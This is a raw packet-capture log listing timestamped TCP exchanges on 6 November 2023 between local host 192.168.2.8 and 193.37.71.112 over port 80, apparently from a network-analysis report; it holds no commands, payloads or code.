Nov 6, 2023 15:35:08.741795063 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.743050098 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.743237019 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.743793011 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.743932009 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.745393991 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.745471001 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.745606899 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.745620966 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.745657921 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.745670080 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.745723963 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.745805025 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:08.745806932 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:08.745939016 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.071794033 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.071866989 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.071902990 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.072000027 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.072525978 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.072540998 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.072572947 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.072580099 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.072587013 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.072599888 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.072612047 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.072690010 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.072755098 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.072848082 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.072889090 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.072988987 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.075257063 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.075280905 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.075293064 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.075305939 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.075371027 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.075428009 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.078706980 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.078823090 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.079674959 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.079737902 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.079742908 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.079832077 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.080451965 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.080550909 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.081638098 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.081650972 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.081712008 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.082175970 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.082261086 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.082648039 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.082729101 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.082803965 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.082864046 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.083029985 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.083095074 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.083288908 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.083374023 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.084424973 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.084521055 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.085159063 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.085269928 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.085773945 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.085848093 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.086430073 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.086566925 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.088011026 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.088090897 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.088424921 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.088527918 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.090764046 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.090821028 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.090831041 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.090843916 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.090854883 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.090912104 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.091022015 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.091077089 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.092241049 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.092333078 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.093300104 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.093364000 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.094525099 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.094578981 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.095082045 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.095166922 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.095907927 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.095978975 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.096287012 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.096364021 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.097753048 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.097831964 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.099081993 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.099097013 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.099190950 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.101035118 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.101099014 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.102233887 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.102313995 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.103566885 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.103662968 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.104485989 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.104501009 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.104582071 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.105094910 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.105180979 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.105648994 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.105745077 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.107569933 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.107651949 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.411938906 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.412102938 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.412455082 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.412568092 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.413297892 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.413376093 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.414043903 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.414130926 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.415164948 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.415249109 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.416542053 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.416637897 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.418081999 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.418150902 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.418322086 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.418381929 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.418636084 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.418711901 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.419481993 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.419579983 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.420720100 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.420808077 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.421552896 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.421606064 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.422046900 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.422151089 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.423269987 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.423325062 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.423652887 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.423712015 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.423722029 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.423782110 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.424329996 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.424432993 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.425451040 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.425543070 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.426132917 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.426220894 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.427544117 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.427629948 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.427861929 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.427948952 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.428864956 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.428936005 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.429532051 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.429593086 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.429802895 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.429855108 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.430294991 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.430350065 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.430619955 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.430701017 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.431200027 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.431282043 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.432523012 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.432612896 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.432811022 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.432883978 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.433471918 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.433525085 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.433702946 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.433774948 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.434360027 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.434446096 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.436141968 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.436156034 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.436259031 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.436959982 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.437057972 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.437134981 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.437223911 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.438209057 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.438302040 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.439498901 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.439594984 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.440646887 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.440720081 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.441163063 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.441250086 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.441685915 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.441778898 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.442720890 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.442754984 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.442800045 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.442823887 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.443036079 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.443123102 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.443893909 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.443998098 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.445291042 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.445399046 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.446522951 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.446639061 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.448133945 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.448265076 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.449520111 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.449635029 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.451133013 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.451204062 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.451416969 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.451492071 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.451951981 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.452040911 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.452542067 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.452625990 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.453421116 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.453471899 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.453484058 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.453532934 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.453855038 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.453912020 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.454022884 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.454133987 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.456214905 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.456291914 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.456509113 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.456599951 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.457571983 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.457652092 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.458154917 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.458264112 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.459352970 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.459448099 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.460500002 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.460593939 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.461740017 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.461807966 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.461940050 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.462018013 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.462732077 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.462795019 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.462858915 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.462935925 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.463438034 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.463526964 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.465362072 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.465462923 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.467183113 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.467262030 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.467587948 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.467647076 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.468096018 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.468182087 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.468831062 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.468941927 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.470822096 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.470920086 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.472358942 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.472433090 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.472851038 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.472918987 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.473119974 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.473208904 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.474646091 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.474731922 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.475769997 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.475867987 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.477936029 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.478012085 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.752366066 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.752393961 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.752813101 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.753505945 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.753599882 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.753786087 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.753844023 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.753899097 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.754009962 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.755450010 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.755517960 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.755820990 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.755903006 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.756315947 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.756375074 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.756663084 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.756753922 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.757483006 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.757570028 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.758291006 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.758353949 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.758713007 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.758806944 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.759670019 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.759759903 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.761648893 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.761818886 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.762650013 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.762765884 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.763811111 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.763880014 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.764240980 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.764328003 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.764822960 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.764887094 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.765084028 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.765208006 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.767163038 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.767275095 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.767649889 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.767765045 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.768556118 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.768645048 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.769021034 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.769128084 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.771270990 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.771354914 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.771826029 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.771927118 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.772615910 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.772716045 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.774041891 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.774111032 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.774157047 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.774225950 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.774346113 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.774404049 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.774579048 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.774655104 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.775708914 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.775789976 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.776547909 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.776648045 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.777676105 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.777756929 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.778515100 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.778630972 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.779325962 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.779422998 CET	49708	80	192.168.2.8	193.37.71.112
Nov 6, 2023 15:35:09.780016899 CET	80	49708	193.37.71.112	192.168.2.8
Nov 6, 2023 15:35:09.780075073 CET	49708	80	192.168.2.8	193.37.71.112
